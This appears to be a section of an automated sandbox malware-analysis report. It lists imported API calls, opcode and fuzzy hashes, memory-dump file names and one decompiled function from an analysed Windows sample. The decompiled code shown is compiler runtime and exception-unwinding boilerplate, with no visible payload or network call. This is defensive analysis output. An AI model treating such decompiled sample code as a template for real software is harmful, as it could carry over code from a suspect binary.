abort.MSVCRT(?,?,00000000,00000000,?,74CB4D40,003FB33F), ref: 0049AA71
abort.MSVCRT(?,?,00000000,00000000,?,74CB4D40,003FB33F), ref: 0049AA76

Memory Dump Source

Source File: 00000000.00000002.263133991.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.263127372.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263402796.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263412439.00000000004A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263446576.00000000004C6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263605446.0000000000514000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263615053.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263638378.000000000053B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 48ba30ab683870b0c4f545cd545f78fc5acbf6f11beb56f33af3b23c5e0fe13d
Instruction ID: 0f698f55e0bd2063cbc8061c7c51b5405087770147ef4c9979ccf38d1cebfb7a
Opcode Fuzzy Hash: 48ba30ab683870b0c4f545cd545f78fc5acbf6f11beb56f33af3b23c5e0fe13d
Instruction Fuzzy Hash: 40D0C27054870D8E8300FF0AC084439FBF8AB8A345B429A7ED008937A0C234C8008E09

Uniqueness

Uniqueness Score: -1.00%

Function 003F6D77 Relevance: 37.5, APIs: 25, Instructions: 40COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049A9FB
abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049AA00
abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049AA05
abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049AA0A
abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049AA0F
abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049AA14
abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049AA19
abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049AA1E
abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049AA23
abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049AA28
abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049AA2D
abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049AA32
abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049AA37
abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049AA3C
abort.MSVCRT(?,?,?,?,?,?,003F92A4,?,?,?,?,?,?,00000000,00000001,003FB03D), ref: 0049AA44
abort.MSVCRT(?,?,?,?,?,?,003F92A4,?,?,?,?,?,?,00000000,00000001,003FB03D), ref: 0049AA49
abort.MSVCRT(?,?,?,?,?,?,003F92A4,?,?,?,?,?,?,00000000,00000001,003FB03D), ref: 0049AA4E
abort.MSVCRT(?,?,?,?,?,?,003F92A4,?,?,?,?,?,?,00000000,00000001,003FB03D), ref: 0049AA53
abort.MSVCRT(?,?,?,?,?,?,003F92A4,?,?,?,?,?,?,00000000,00000001,003FB03D), ref: 0049AA58
abort.MSVCRT(?,?,?,?,?,?,003F92A4,?,?,?,?,?,?,00000000,00000001,003FB03D), ref: 0049AA5D
abort.MSVCRT(?,?,?,?,?,?,003F92A4,?,?,?,?,?,?,00000000,00000001,003FB03D), ref: 0049AA62
abort.MSVCRT(?,?,?,?,?,?,003F92A4,?,?,?,?,?,?,00000000,00000001,003FB03D), ref: 0049AA67
abort.MSVCRT(?,?,00000000,00000000,?,74CB4D40,003FB33F), ref: 0049AA6C
abort.MSVCRT(?,?,00000000,00000000,?,74CB4D40,003FB33F), ref: 0049AA71
abort.MSVCRT(?,?,00000000,00000000,?,74CB4D40,003FB33F), ref: 0049AA76

Memory Dump Source

Source File: 00000000.00000002.263133991.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.263127372.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263402796.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263412439.00000000004A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263446576.00000000004C6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263605446.0000000000514000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263615053.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263638378.000000000053B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 1df33afa9d83d74e8e9d00b392f351bf12b847d138609283f212fa1515f3dba1
Instruction ID: 7020d99f4e369f73ed3d6a568dd5a2c0fcc776dc63c0b1431d4e6869ca061bbe
Opcode Fuzzy Hash: 1df33afa9d83d74e8e9d00b392f351bf12b847d138609283f212fa1515f3dba1
Instruction Fuzzy Hash: 0AD022B2A4831C4AC0203D5A008033BF2BCAB83384F872B7DE90633280CA74EC0054CE

Uniqueness

Uniqueness Score: -1.00%

Function 003F6E48 Relevance: 37.5, APIs: 25, Instructions: 39COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049A9FB
abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049AA00
abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049AA05
abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049AA0A
abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049AA0F
abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049AA14
abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049AA19
abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049AA1E
abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049AA23
abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049AA28
abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049AA2D
abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049AA32
abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049AA37
abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049AA3C
abort.MSVCRT(?,?,?,?,?,?,003F92A4,?,?,?,?,?,?,00000000,00000001,003FB03D), ref: 0049AA44
abort.MSVCRT(?,?,?,?,?,?,003F92A4,?,?,?,?,?,?,00000000,00000001,003FB03D), ref: 0049AA49
abort.MSVCRT(?,?,?,?,?,?,003F92A4,?,?,?,?,?,?,00000000,00000001,003FB03D), ref: 0049AA4E
abort.MSVCRT(?,?,?,?,?,?,003F92A4,?,?,?,?,?,?,00000000,00000001,003FB03D), ref: 0049AA53
abort.MSVCRT(?,?,?,?,?,?,003F92A4,?,?,?,?,?,?,00000000,00000001,003FB03D), ref: 0049AA58
abort.MSVCRT(?,?,?,?,?,?,003F92A4,?,?,?,?,?,?,00000000,00000001,003FB03D), ref: 0049AA5D
abort.MSVCRT(?,?,?,?,?,?,003F92A4,?,?,?,?,?,?,00000000,00000001,003FB03D), ref: 0049AA62
abort.MSVCRT(?,?,?,?,?,?,003F92A4,?,?,?,?,?,?,00000000,00000001,003FB03D), ref: 0049AA67
abort.MSVCRT(?,?,00000000,00000000,?,74CB4D40,003FB33F), ref: 0049AA6C
abort.MSVCRT(?,?,00000000,00000000,?,74CB4D40,003FB33F), ref: 0049AA71
abort.MSVCRT(?,?,00000000,00000000,?,74CB4D40,003FB33F), ref: 0049AA76

Memory Dump Source

Source File: 00000000.00000002.263133991.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.263127372.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263402796.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263412439.00000000004A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263446576.00000000004C6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263605446.0000000000514000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263615053.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263638378.000000000053B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: e8cc3abe8dd5107a505da49790f272dc3ce13df6c3d79a156ec7188c2d921028
Instruction ID: 2b189d3d018d9da09150df4daf8d1b43eee5011e571648e42724d887782b92ef
Opcode Fuzzy Hash: e8cc3abe8dd5107a505da49790f272dc3ce13df6c3d79a156ec7188c2d921028
Instruction Fuzzy Hash: 70D01279A492198FC611BE46909107BF278AB8B384F863ABDE602333C1C774E805A55F

Uniqueness

Uniqueness Score: -1.00%

Function 003F6D98 Relevance: 37.5, APIs: 25, Instructions: 38COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049A9FB
abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049AA00
abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049AA05
abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049AA0A
abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049AA0F
abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049AA14
abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049AA19
abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049AA1E
abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049AA23
abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049AA28
abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049AA2D
abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049AA32
abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049AA37
abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049AA3C
abort.MSVCRT(?,?,?,?,?,?,003F92A4,?,?,?,?,?,?,00000000,00000001,003FB03D), ref: 0049AA44
abort.MSVCRT(?,?,?,?,?,?,003F92A4,?,?,?,?,?,?,00000000,00000001,003FB03D), ref: 0049AA49
abort.MSVCRT(?,?,?,?,?,?,003F92A4,?,?,?,?,?,?,00000000,00000001,003FB03D), ref: 0049AA4E
abort.MSVCRT(?,?,?,?,?,?,003F92A4,?,?,?,?,?,?,00000000,00000001,003FB03D), ref: 0049AA53
abort.MSVCRT(?,?,?,?,?,?,003F92A4,?,?,?,?,?,?,00000000,00000001,003FB03D), ref: 0049AA58
abort.MSVCRT(?,?,?,?,?,?,003F92A4,?,?,?,?,?,?,00000000,00000001,003FB03D), ref: 0049AA5D
abort.MSVCRT(?,?,?,?,?,?,003F92A4,?,?,?,?,?,?,00000000,00000001,003FB03D), ref: 0049AA62
abort.MSVCRT(?,?,?,?,?,?,003F92A4,?,?,?,?,?,?,00000000,00000001,003FB03D), ref: 0049AA67
abort.MSVCRT(?,?,00000000,00000000,?,74CB4D40,003FB33F), ref: 0049AA6C
abort.MSVCRT(?,?,00000000,00000000,?,74CB4D40,003FB33F), ref: 0049AA71
abort.MSVCRT(?,?,00000000,00000000,?,74CB4D40,003FB33F), ref: 0049AA76

Memory Dump Source

Source File: 00000000.00000002.263133991.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.263127372.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263402796.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263412439.00000000004A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263446576.00000000004C6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263605446.0000000000514000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263615053.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263638378.000000000053B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: ad793741c17f09d5e14edd1318059b57dd29e129dde3798c93b0a3911b79aa08
Instruction ID: 7359766553d82b3aa85ac43e8e6cf49561ff1e405ae87205b88a45d17ae74c80
Opcode Fuzzy Hash: ad793741c17f09d5e14edd1318059b57dd29e129dde3798c93b0a3911b79aa08
Instruction Fuzzy Hash: 44C08CB0A8830C4A88013D0F00D503AF2BC1A873A8F973B7DE24633AC1C93AD880285F

Uniqueness

Uniqueness Score: -1.00%

Function 003F7100 Relevance: 36.3, APIs: 24, Instructions: 280
COMMON

Download Yara Rule

C-Code - Quality: 43%

			E003F7100(void* __eax, signed char** __edx, intOrPtr _a148, signed int _a152, signed char* _a156, intOrPtr _a160, char _a187) {
				void* _v16;
				char _v44;
				signed int _v60;
				signed char** _v140;
				void _v156;
				char _v160;
				signed char** _v176;
				signed int _v180;
				CHAR* _v184;
				signed int _v188;
				signed int _v192;
				void* _v196;
				char* _v260;
				signed int _t105;
				char _t107;
				struct HINSTANCE__* _t108;
				_Unknown_base(*)()* _t109;
				struct HINSTANCE__* _t112;
				intOrPtr* _t113;
				signed int _t115;
				signed int _t116;
				intOrPtr _t118;
				signed int _t121;
				signed int _t135;
				CHAR* _t136;
				intOrPtr _t137;
				signed char* _t138;
				signed char _t143;
				signed int _t149;
				intOrPtr* _t153;
				signed char** _t157;
				signed int _t159;
				signed char** _t162;
				intOrPtr* _t163;
				signed int _t164;
				signed char** _t166;
				void* _t170;
				signed int* _t172;
				char** _t173;
				char** _t174;
				intOrPtr* _t176;
				intOrPtr* _t177;

				_t166 = __edx;
				_t162 = __eax;
				_v196 = __eax;
				memcpy( &_v156, __eax, 0x20 << 2);
				_t172 = _t170 - 0xcc + 0xc;
				_t157 =  &(_t162[0x10]);
				_t105 = _v60 & 0x40000000;
				_v184 = _t105;
				if(_t105 == 0 || _v44 == 0) {
					_t162 = _v140;
					if(_t162 == 0) {
						_t107 =  *((intOrPtr*)(_v196 + 0x48));
						if( *0x5130b4 != 4) {
							goto L58;
						} else {
							_t136 = _v184;
							_v160 = _t107;
							if(_t136 != 0) {
								_v44 = 0;
							}
							_v140 =  &_v160;
							goto L9;
						}
					} else {
						goto L9;
					}
				} else {
					L9:
					_t157 = _v196;
					_t115 = _t157[0x18];
					_v180 = _t115;
					_t116 = _t115 & 0x40000000;
					_v188 = _t116;
					if(_t116 != 0) {
						_t157[0x1c] = 0;
					}
					 *(_v196 + 0x10) = 0;
					_t118 = _a160;
					if(_t118 != 1) {
						if(_t118 != 2) {
							goto L59;
						} else {
							_t138 = _a156;
							_t164 = 0;
							_t143 = 0;
							do {
								_t149 =  *_t138 & 0x000000ff;
								_t138 =  &(_t138[1]);
								_t121 = (_t149 & 0x0000007f) << _t143;
								_t143 = _t143 + 7;
								_t164 = _t164 | _t121;
							} while (_t149 < 0);
							 *_t172 = 0;
							_v192 = E003F6A80(_t138,  &_v156,  &(_t138[_t164]));
							goto L22;
						}
					} else {
						_t135 = _a152;
						if(_t135 > 0x11) {
							L58:
							abort();
							L59:
							L004042F8();
							L004042F8();
							L004042F8();
							abort();
							abort();
							abort();
							abort();
							abort();
							abort();
							abort();
							abort();
							abort();
							abort();
							L004042F8();
							L004042F8();
							L004042F8();
							L004042F8();
							L004042F8();
							L004042F8();
							abort();
							abort();
							abort();
							abort();
							_push(_t166);
							_push(_t157);
							_push(_t162);
							_t173 = _t172 - 0x1c;
							 *_t173 = "libgcc_s_dw2-1.dll";
							_t108 = GetModuleHandleA(_t136);
							_t174 = _t173 - 4;
							if(_t108 == 0) {
								_t109 = 0x3fae40;
								_t163 = E003FA660;
							} else {
								_t137 = _t108;
								 *_t174 = "libgcc_s_dw2-1.dll";
								_t112 = LoadLibraryA(??);
								_t176 = _t174 - 4;
								 *0x513020 = _t112;
								_v260 = "__register_frame_info";
								 *_t176 = _t137;
								_t113 = GetProcAddress(??, ??);
								_t177 = _t176 - 8;
								_t163 = _t113;
								_v260 = "__deregister_frame_info";
								 *_t177 = _t137;
								_t109 = GetProcAddress(??, ??);
								_t174 = _t177 - 8;
							}
							 *0x4a1004 = _t109;
							if(_t163 != 0) {
								_v260 = 0x513024;
								 *_t174 = 0x4d4104;
								 *_t163();
							}
							 *_t174 = 0x3e1560;
							return L003E14A0();
						} else {
							_t153 =  *((intOrPtr*)(_t172 + 0x40 + _t135 * 4));
							if(_v184 == 0 ||  *((char*)(_t172 + _t135 + 0xac)) == 0) {
								if( *((char*)(_t135 + 0x5130b0)) != 4) {
									goto L58;
								} else {
									_t153 =  *_t153;
									goto L17;
								}
							} else {
								L17:
								_v192 = _t153 + _a148;
								L22:
								_v176 = _t166;
								_t159 = 0;
								 *((intOrPtr*)(_v196 + 0x48)) = _v192;
								_t162 = _t166;
								do {
									L23:
									while(_t162[1] <= 5) {
										switch( *((intOrPtr*)(_t162[1] * 4 +  &M004CD75C))) {
											case 0:
												goto L36;
											case 1:
												__ebp = _v188;
												__eax = _v192;
												__eax = _v192 +  *__esi;
												if(_v188 != 0) {
													__ecx = _v196;
													 *((char*)(_v196 + __edi + 0x6c)) = 0;
												}
												goto L44;
											case 2:
												__eax =  *__esi;
												if( *((char*)(__esp + __eax + 0xac)) != 0) {
													if(__eax > 0x11) {
														goto L58;
													} else {
														__ebx = _v184;
														__edx =  *(__eax + 0x5130b0) & 0x000000ff;
														__eax =  *(__esp + 0x40 + __eax * 4);
														if(_v184 != 0) {
															goto L34;
														} else {
															if(__dl != 4) {
																goto L58;
															} else {
																__eax =  *__eax;
																goto L34;
															}
														}
													}
												} else {
													__ecx = _v188;
													__eax =  *(__esp + 0x40 + __eax * 4);
													if(__ecx != 0) {
														__edx = _v196;
														 *((char*)(__edx + __edi + 0x6c)) = 0;
													}
													__ebx = _v196;
													 *(_v196 + __edi * 4) = __eax;
													goto L36;
												}
												goto L80;
											case 3:
												__ebx =  *__esi;
												__ebp = 0;
												__ecx = 0;
												do {
													__edx =  *__ebx & 0x000000ff;
													__ebx = __ebx + 1;
													__edx = __edx & 0x0000007f;
													__eax = (__edx & 0x0000007f) << __cl;
													__ecx = __ecx + 7;
													__ebp = __ebp | (__edx & 0x0000007f) << __cl;
												} while (__dl < 0);
												__eax = _v192;
												__edx = __ebx + __ebp;
												__ecx =  &_v156;
												 *__esp = _v192;
												__eax = __ebx;
												__eax = E003F6A80(__ebx,  &_v156, __ebx + __ebp);
												__edx = _v188;
												if(__edx != 0) {
													__ebx = _v196;
													 *((char*)(_v196 + __edi + 0x6c)) = 0;
												}
												L44:
												__ecx = _v196;
												 *(__ecx + __edi * 4) = __eax;
												goto L36;
											case 4:
												__eax = _v192;
												__eax = _v192 +  *__esi;
												L34:
												if( *((char*)(__edi + 0x5130b0)) > 4) {
													goto L58;
												} else {
													__ecx = _v196;
													 *((char*)(__ecx + __edi + 0x6c)) = 1;
													 *(__ecx + __edi * 4) = __eax;
													goto L36;
												}
												goto L80;
											case 5:
												_t139 =  *_t162;
												_t168 = 0;
												_t145 = 0;
												do {
													_t151 =  *_t139 & 0x000000ff;
													_t139 =  &(_t139[1]);
													_t128 = (_t151 & 0x0000007f) << _t145;
													_t145 = _t145 + 7;
													_t168 = _t168 | _t128;
												} while (_t151 < 0);
												 *_t172 = _v192;
												_t131 = E003F6A80(_t139,  &_v156,  &(_t139[_t168]));
												if( *((char*)(_t159 + 0x5130b0)) > 4) {
													goto L58;
												} else {
													_t140 = _v196;
													_t162 =  &(_t162[2]);
													 *((char*)(_t140 + _t159 + 0x6c)) = 1;
													 *((intOrPtr*)(_t140 + _t159 * 4)) = _t131;
													_t159 = _t159 + 1;
													if(_t159 != 0x12) {
														goto L23;
													} else {
														L30:
														_t160 = _v180;
														_t133 = _t160 & 0x7fffffff;
														if(_a187 != 0) {
															_t133 = _t160 | 0x80000000;
														}
														 *(_v196 + 0x60) = _t133;
														return _t133;
													}
												}
												goto L80;
										}
									}
									L36:
									_t159 = _t159 + 1;
									_t162 =  &(_t162[2]);
								} while (_t159 != 0x12);
								goto L30;
							}
						}
					}
				}
				L80:
			}

0x003f7106
0x003f710a
0x003f7117
0x003f711b
0x003f711b
0x003f711b
0x003f7124
0x003f7129
0x003f712d
0x003f7139
0x003f713f
0x003f73e3
0x003f73e6
0x00000000
0x003f73ec
0x003f73ec
0x003f73f0
0x003f73f6
0x003f73f8
0x003f73f8
0x003f7404
0x00000000
0x003f7404
0x00000000
0x00000000
0x00000000
0x003f7145
0x003f7145
0x003f7145
0x003f7149
0x003f714c
0x003f7150
0x003f7155
0x003f7159
0x003f715b
0x003f715b
0x003f7163
0x003f716a
0x003f7173
0x003f71bb
0x00000000
0x003f71c1
0x003f71c1
0x003f71c7
0x003f71c9
0x003f71d0
0x003f71d0
0x003f71d3
0x003f71db
0x003f71dd
0x003f71e0
0x003f71e2
0x003f71e6
0x003f71fb
0x00000000
0x003f71fb
0x003f7175
0x003f7175
0x003f717e
0x0049aa00
0x0049aa00
0x0049aa05
0x0049aa05
0x0049aa0a
0x0049aa0f
0x0049aa14
0x0049aa19
0x0049aa1e
0x0049aa23
0x0049aa28
0x0049aa2d
0x0049aa32
0x0049aa37
0x0049aa3c
0x0049aa44
0x0049aa49
0x0049aa4e
0x0049aa53
0x0049aa58
0x0049aa5d
0x0049aa62
0x0049aa67
0x0049aa6c
0x0049aa71
0x0049aa76
0x003e14c0
0x003e14c3
0x003e14c4
0x003e14c6
0x003e14c9
0x003e14d0
0x003e14d6
0x003e14db
0x003e1550
0x003e1555
0x003e14dd
0x003e14dd
0x003e14df
0x003e14e6
0x003e14f2
0x003e14f5
0x003e14fa
0x003e1502
0x003e1505
0x003e1507
0x003e150a
0x003e150c
0x003e1514
0x003e1517
0x003e1519
0x003e1519
0x003e151c
0x003e1523
0x003e1525
0x003e152d
0x003e1534
0x003e1534
0x003e1536
0x003e1549
0x003f7184
0x003f7188
0x003f718e
0x003f71a1
0x00000000
0x003f71a7
0x003f71a7
0x00000000
0x003f71a7
0x003f71a9
0x003f71a9
0x003f71af
0x003f71ff
0x003f7207
0x003f720b
0x003f720d
0x003f7210
0x003f7218
0x00000000
0x003f7218
0x003f7225
0x00000000
0x00000000
0x00000000
0x003f7350
0x003f7354
0x003f7358
0x003f735c
0x003f735e
0x003f7362
0x003f7362
0x00000000
0x00000000
0x003f7378
0x003f7382
0x003f73ab
0x00000000
0x003f73b1
0x003f73b1
0x003f73b5
0x003f73bc
0x003f73c2
0x00000000
0x003f73c8
0x003f73cb
0x00000000
0x003f73d1
0x003f73d1
0x00000000
0x003f73d1
0x003f73cb
0x003f73c2
0x003f7384
0x003f7384
0x003f7388
0x003f738e
0x003f7390
0x003f7394
0x003f7394
0x003f7399
0x003f739d
0x00000000
0x003f739d
0x00000000
0x00000000
0x003f7300
0x003f7302
0x003f7304
0x003f7310
0x003f7310
0x003f7313
0x003f7318
0x003f731b
0x003f731d
0x003f7320
0x003f7322
0x003f7326
0x003f732a
0x003f732d
0x003f7331
0x003f7334
0x003f7336
0x003f733b
0x003f7341
0x003f7343
0x003f7347
0x003f7347
0x003f7367
0x003f7367
0x003f736b
0x00000000
0x00000000
0x003f72c8
0x003f72cc
0x003f72ce
0x003f72d5
0x00000000
0x003f72db
0x003f72db
0x003f72df
0x003f72e4
0x00000000
0x003f72e4
0x00000000
0x00000000
0x003f7230
0x003f7232
0x003f7234
0x003f7240
0x003f7240
0x003f7243
0x003f724b
0x003f724d
0x003f7250
0x003f7252
0x003f7261
0x003f7266
0x003f7272
0x00000000
0x003f7278
0x003f7278
0x003f727c
0x003f727f
0x003f7284
0x003f7287
0x003f728d
0x00000000
0x003f7290
0x003f7290
0x003f7290
0x003f729a
0x003f72a6
0x003f72aa
0x003f72aa
0x003f72b3
0x003f72c0
0x003f72c0
0x003f728d
0x00000000
0x00000000
0x003f7225
0x003f72e7
0x003f72e7
0x003f72ea
0x003f72ed
0x00000000
0x003f72f6
0x003f718e
0x003f717e
0x003f7173
0x00000000

Memory Dump Source

Source File: 00000000.00000002.263133991.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.263127372.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263402796.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263412439.00000000004A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263446576.00000000004C6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263605446.0000000000514000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263615053.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263638378.000000000053B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 75ba172738b35196d9ba28434113625c14476111da1ea5dd7a4d316eb98364b3
Instruction ID: 1ea7392a553e79d121df8d8e86c4b0cab99cca716f513195053cee8717ac4456
Opcode Fuzzy Hash: 75ba172738b35196d9ba28434113625c14476111da1ea5dd7a4d316eb98364b3
Instruction Fuzzy Hash: E1B1C67160C34A8FDB21CF18C48076AFBE1BF99304F19496DEA959B342C375E945CB92

Uniqueness

Uniqueness Score: -1.00%

Function 003F8320 Relevance: 31.6, APIs: 21, Instructions: 126sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 003F7CB0: strlen.MSVCRT ref: 003F7D2D

Sleep.KERNEL32 ref: 003F8487
abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049AA14
abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049AA19
abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049AA1E
abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049AA23
abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049AA28
abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049AA2D
abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049AA32
abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049AA37
abort.MSVCRT(?,?,?,?,00000001,?,003F758B), ref: 0049AA3C
abort.MSVCRT(?,?,?,?,?,?,003F92A4,?,?,?,?,?,?,00000000,00000001,003FB03D), ref: 0049AA44
abort.MSVCRT(?,?,?,?,?,?,003F92A4,?,?,?,?,?,?,00000000,00000001,003FB03D), ref: 0049AA49
abort.MSVCRT(?,?,?,?,?,?,003F92A4,?,?,?,?,?,?,00000000,00000001,003FB03D), ref: 0049AA4E
abort.MSVCRT(?,?,?,?,?,?,003F92A4,?,?,?,?,?,?,00000000,00000001,003FB03D), ref: 0049AA53
abort.MSVCRT(?,?,?,?,?,?,003F92A4,?,?,?,?,?,?,00000000,00000001,003FB03D), ref: 0049AA58
abort.MSVCRT(?,?,?,?,?,?,003F92A4,?,?,?,?,?,?,00000000,00000001,003FB03D), ref: 0049AA5D
abort.MSVCRT(?,?,?,?,?,?,003F92A4,?,?,?,?,?,?,00000000,00000001,003FB03D), ref: 0049AA62
abort.MSVCRT(?,?,?,?,?,?,003F92A4,?,?,?,?,?,?,00000000,00000001,003FB03D), ref: 0049AA67
abort.MSVCRT(?,?,00000000,00000000,?,74CB4D40,003FB33F), ref: 0049AA6C
abort.MSVCRT(?,?,00000000,00000000,?,74CB4D40,003FB33F), ref: 0049AA71
abort.MSVCRT(?,?,00000000,00000000,?,74CB4D40,003FB33F), ref: 0049AA76

Memory Dump Source

Source File: 00000000.00000002.263133991.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.263127372.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263402796.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263412439.00000000004A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263446576.00000000004C6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263605446.0000000000514000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263615053.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263638378.000000000053B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID: abort$Sleepstrlen
String ID:
API String ID: 68130653-0
